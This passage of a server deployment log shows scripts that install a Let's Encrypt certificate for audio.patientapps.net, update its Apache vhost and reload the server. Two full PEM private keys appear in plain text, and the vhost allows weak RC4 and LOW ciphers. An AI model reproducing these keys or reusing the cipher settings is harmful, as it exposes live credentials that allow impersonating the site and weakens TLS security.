dEy1d7r7CoWZQx7JL/3CAiA/aXmi96QK7r/MVNP4Mq2knO6z/HNoa+6gv+C25VQy
mTANBgkqhkiG9w0BAQsFAAOCAQEAYvdo6nxKkzyJdjZ/lmKElCQDHjM1bthtQ/8W
gypo6cfGqbuj2NcPf2UyPLrpmOy0eqlp89c49abrPCQzolElpd4+SHTCaqyQOlnW
rXbW9J/WiuAmTskEpVY3KoSjRlXwZS5dIG7ppOyQvKZojOx2ezhR7lKhQ+IKVaS9
MCp6/F/c1D5pwb1VuBoT7mt5nIWLswBZAzfNY35mNKY5PQuP9U0ezFkCdnBJpQyw
5uRFIe5cIqe4M9r5RGgOJLhc2SFMk4aXQjRdzpU9h5v3gCmJ3t5qWb4d2ykmdnc0
RwvDo4YHIPMBQSybCnuh13cQt6DE5k/YitVNB/ZYkNCWSzlY4g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCvo74S0RoMnlMH
uaPT+DxUawIJs/XJCblHplO7EW+CZl29VmeIjZw7zbCnaJqSmWO2Zz6kNxeesLsl
dpdp6Jlj4nnph+E+KoyonX5VMZRol8+cMajS2bOIeaL+mv8PICXS/noJ21B5UNRY
2QZNcy1nyEv2++ha9PZUR2+ZAudDV+jY4mSxqzfA/JyKumWaeG+XojpAYvfj1YDE
AsIkkHlspjAEMbmdC7j4f4submiENKlXUruHanMk87ZIWFXprj7wt2jU6i5yT3Z/
9C8FMWivUlmHRTqnng1bfXCDS+TqaGfngbVAiOrkmiUM7tTxnRPWD1iyx41kZJne
9K0wxP2/AgMBAAECggEAAr6MOb8KqSfQJE7CQI2gY7FIVt54+KsuOfBfXoznMSJo
VI0FER0lU8ni+Lqpr6C17iOu1uIFfHVGd09jDkSUIPto7D0zR8VibUAIuUwNBZVZ
qRcdjC3aoEdGRLQnSBU4ghN31K+YkkyxBLJfZtZl3zlB9pn5B3LMZoS3OazR8Dto
wOvzTNAETTdEL++dcBvCyEsFvGsRy+mItaOJ4b1FxwVhkIdBC3UlCrC8ZXV/i38y
4kT9228n9i7ZCb02xFtFu1i/7b1Xs1Pz1hSAfjd93VFaWtTheBR+4tiGcWlLW0DK
ckdreOJ6SteSRZUHbGRAkkyslr8NRLiJWs6J/jMAAQKBgQDnuf1YslLzNVLme11k
+nPNUbX2obLv2tt3fC/b+LLaiXkWwK1Gaatotdaj3X39Pec4ba+0Ysqlpob+SBOx
KqG1yy8f4UUff9Ssmmtm1YihVbpTlEdUMYS9aFDCUkfixsgyT4ISXvvVwn4u7lo4
oNU5ixAfYy6maV2cB8nOrO7HPwKBgQDCCbf9zoP9PMVcQmmosbfpQnjBwnx6SiTh
fMME2hO90GLzyVAOhdQwTTchxHcrBp3Yi6r/CV70KLjp2rSEWooDfel3VFOyx5D/
Y3MjganCJcoa5y7TOJuSHVJbtRTRAJbI04gyzhBJzaSu1MFb9dycp6+AdK/mCZN5
ATGrVJapgQKBgF+ngfIUInOsxlzH/eSKEjVmDnQRiZjDQicPh34JKmNVrjt7K8vO
IOinb0PTUYew/vpnJMmUokxA8qaSwDY4/+nYRsqlJfB7xyG82KrpaG4YwkJwCgWy
LzY0kmm0p2HwZoGGGo5U0SYLFCVxVKLdmUcYpX4fZglhozeea2q6LhLnAoGBAKri
jkSbPMioXZPr9UuZAEQQw3K5CpFUfPiMvN+oA1zWil7y+2te10mWpyg4805ULG1K
S9UB9rsGphtl/jbV2dhLanIqNPAtK3iPqBYsGkoep8hbs3RX1UKwShjz+Bo87458
JOXBbrzgu9kxC/0mIR1h3IE/wq3P3y3hLFIcU/eBAoGBAKVAARpjyHlcjIU9yzQ1
3SvNXCNCCSNOLvOTlVThYMglU+3ZY2qdePROV6KNfSGCtg6HTwg1NGxcmBH4xlYp
jSH7ejeckvUFZ5vGcGOnRQ/AVm5z+79wQ/HRbcVxu87F7fIaqSYzWNmLuA4r9Slp
u1cQeuokS9nzB85ABrM8IW7I
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-30 06:01:18: Establishing a connection
2025-11-30 06:01:18: Establishing a connection
2025-11-30 06:01:18:
PUT: /tmp/pkp812039
#!/bin/bash
if [ -d "/var/www/patientapps_audio/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:01:18:
chmod 755 /tmp/pkp812039; /tmp/pkp812039; rm /tmp/pkp812039
2025-11-30 06:01:18:
0
2025-11-30 06:01:44: Establishing a connection
2025-11-30 06:01:44:
PUT: /tmp/pkp100659
#!/bin/bash
temp_file=$(mktemp)
TARGET=40d152ed4fc15024fe57db1999e289aa.crt
cat > $temp_file <<'endmsg'
e3:b9:74:d3:f1:d1:af:6d:da:cf:e8:f2:bd:2e:4c:67
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBVOOahBijFhziCHo/29MpEJfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTMwMDUwMzE0WhcNMjYwMjI4MDUwMzEzWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCovhxIk9v+2pqURAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3
TPGIzUNH3/5F+NjFQ9qQqZroem5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYb
lEDKZl1hfvASypiBBxMUQzLfzl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1Y
YoFK+A9COOWsEaBzv8UDJ4rj+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKI
K4zJb5MXyLGrmC9JUncRFBT6QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60
tRIVZd84EJKm7xpSwRf8IJXRndJtvx0BAgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCcPCKYBRD7PcTmzGyLGAF1LY8azMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa01pX
WgAABAMARzBFAiBjtWLOgDVd+plj+baZwKlkkLufRMO9NKAjNpb0DLpcmwIhAN4F
/wPv2D6eyHPcLvgoPHErZzTL+8+C4OjAKP3eqYJ1AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGa01pXcgAABAMARzBFAiAvxPIi62QPh+XmAxoC
TqXL6zYBmbAvM/NzziK73LSJ7QIhAOQc3AiYJ9sZUPksOozmZ3k+KAkfkTqVab4k
ZS4gg6YaMA0GCSqGSIb3DQEBCwUAA4IBAQC/G5WDW108VgDIyQ79MNiVBkqKep2N
zJJ3X+EahHGpWgSFJMSm3gcuR5da59gviBXcbCaoeTPaa6kLFubKpjnKlTu8Dzi8
icIBZWRHGrcz1GswMW0ke95grASKecAcRB5//3quP5XzJt+y9z3czJzIf4bsZ3x1
VAPdWs5bWwrE3Eo1O+4eqVOUYlTvNMp8E8Qf+KJgGFCWX/TznvV4jmdQmxJWKlbA
8YmUrMXjWPmAXnrR+kOP7bNn5zxNPk1tg6kA44nWmP6M8ed+tWr5/14u59Kk8Cah
Cx7bgrhd6M8SGNItCEqhiyCM6gwL0841DezVdtMQhXbqPmNPEpghnJ2m
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCovhxIk9v+2pqU
RAL7bRpMq3fcJ/GJnhHOwHwaJgUri43U8MNbutN3TPGIzUNH3/5F+NjFQ9qQqZro
em5kGuFVpJxghh8lHue3loNYIOA1gGcd1xtZynYblEDKZl1hfvASypiBBxMUQzLf
zl3MwPw6C6EKIMnwzDUmNd2KSEgz98gYrkQ8Ed1YYoFK+A9COOWsEaBzv8UDJ4rj
+IT3gNSG9HTiVJg8ma2aihTbyuvylZDfdmC3moKIK4zJb5MXyLGrmC9JUncRFBT6
QNO5BDQ+dH7PoNoEXyUCzmqmfRBOyK8tHkHDkL60tRIVZd84EJKm7xpSwRf8IJXR
ndJtvx0BAgMBAAECggEATXRGA0JrXsX04k19mO7xfXPPZqym/+Yggmh0DoSZJu29
wppo8bgFzOLykzq0wU8dpfydc567ul8/jap09VopSGhwpxWpQh63eduKmm8suyIf
MuFD2qlGIU6hlsX54wCjLdz0t3UJ2ukldvmAsLV8kSA5YS6/wtnZI5rh/9FB4yf/
/0Q4w+FUaQlibAS/WyDjU/gWtM908CNZxwMtOdf14Yt3L8a6G421dy/jOckmzdya
lEihch6NTn1FPWeEBpFTbbm17njySJXdnawkUjIYOz3f0+8ilMWgBv2pAW0QZC1o
M67lDIt1XjYXhVhRfRN5YIz276vntCQraxoYmXJgAQKBgQDcNWBxYx0vL4AEWFHY
672RIC9G5B+zBoCCIckU4qV/O1pjqu1mt5XaZwADQ79RYh2fRONireSTe32S+8tg
tn/Tt//iIABVdLi4hvnnoGzyhTtjQ1mMN1WX7O0ETVPTR2yvjKWUSS8m2iTGwI5g
UZ6kmWevp8eu5vRCbLQ8R8vdwQKBgQDEK0wfEBVOMm9M41aUj/lGg7gvaVh3+Z7U
yv5d4NVGv09x2KK7G6lsHqTjkwEQMu5MUEm5EOBNQ6H6mPUmQs6cgAkUboRrXPBE
x3pOXhSfnL9aeRsMEeYo0IaqWf6WZBY60Enmakr5YcsViRhRft6IFb8t1RvmC1HO
0D7gg12PQQKBgQCR1/Q5BKjWkIIb3pbOsUtK6+MD86CfBEZmaZPw9i8f9iJmclVr
O1nPXXpfryXt86qkyo5C0+LYXuiLSaKoOhatFWcuz30JHBYfeJ3Y76JYeS8dDgUn
3Zod1fggakqDWwG7vs4HSPUmqUHENNHXLxd/8m3+o4OX7jSGLdKtPeviwQKBgEFm
Ue11NjUouVR/4kiLK0bn+QrNazIsZVh6CI2RvGjmtPy2haItmbEzEjPQuaUF5c5J
Yhqx1qXLq3/ZaLmFwk4InX5TThBhHrU/b7YaxXNlFaJ7B5phiUMIKi027ZqD6alX
8ZtAypgTk1otp47b5iKmZWNJThDGq1JwuNWu1g1BAoGBAKIu8RiyVebMX/t2Ptac
9xv7N2/OfJZd+M3IQ5Iy0W/zDt8DSqkhR6CZwNedFvxN+5OouO47/Mx0vOX+3KQm
wpXLTDTS92ltbkstrRs0/FKnltuuXLA1Qvi2T+PHf73EEGpEaPf9U0XtLSkNObn7
lZfmYEOMsLCRaqo0DYksHYku
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:01:45:
chmod 755 /tmp/pkp100659; /tmp/pkp100659; rm /tmp/pkp100659
2025-11-30 06:01:45:
dir=/etc/ssl/certs
2025-11-30 06:01:45:
PUT: /tmp/pkp898086
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_audio_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:01:45:
chmod 755 /tmp/pkp898086; /tmp/pkp898086; rm /tmp/pkp898086
2025-11-30 06:01:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 45
<VirtualHost *:80>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-11-30 06:01:45:
PUT: /tmp/pkp527242
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_audio_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_audio_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_audio_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf= 1'
fi
2025-11-30 06:01:45:
chmod 755 /tmp/pkp527242; /tmp/pkp527242; rm /tmp/pkp527242
2025-11-30 06:01:45:
2025-11-30 06:01:45:
PUT: /tmp/pkp457928
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:01:45:
chmod 755 /tmp/pkp457928; /tmp/pkp457928; rm /tmp/pkp457928
2025-11-30 06:01:45:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:01:45: Establishing a connection
2025-11-30 06:01:45:
PUT: /tmp/pkp469811
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:01:45:
chmod 755 /tmp/pkp469811; /tmp/pkp469811; rm /tmp/pkp469811
2025-11-30 06:01:45:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
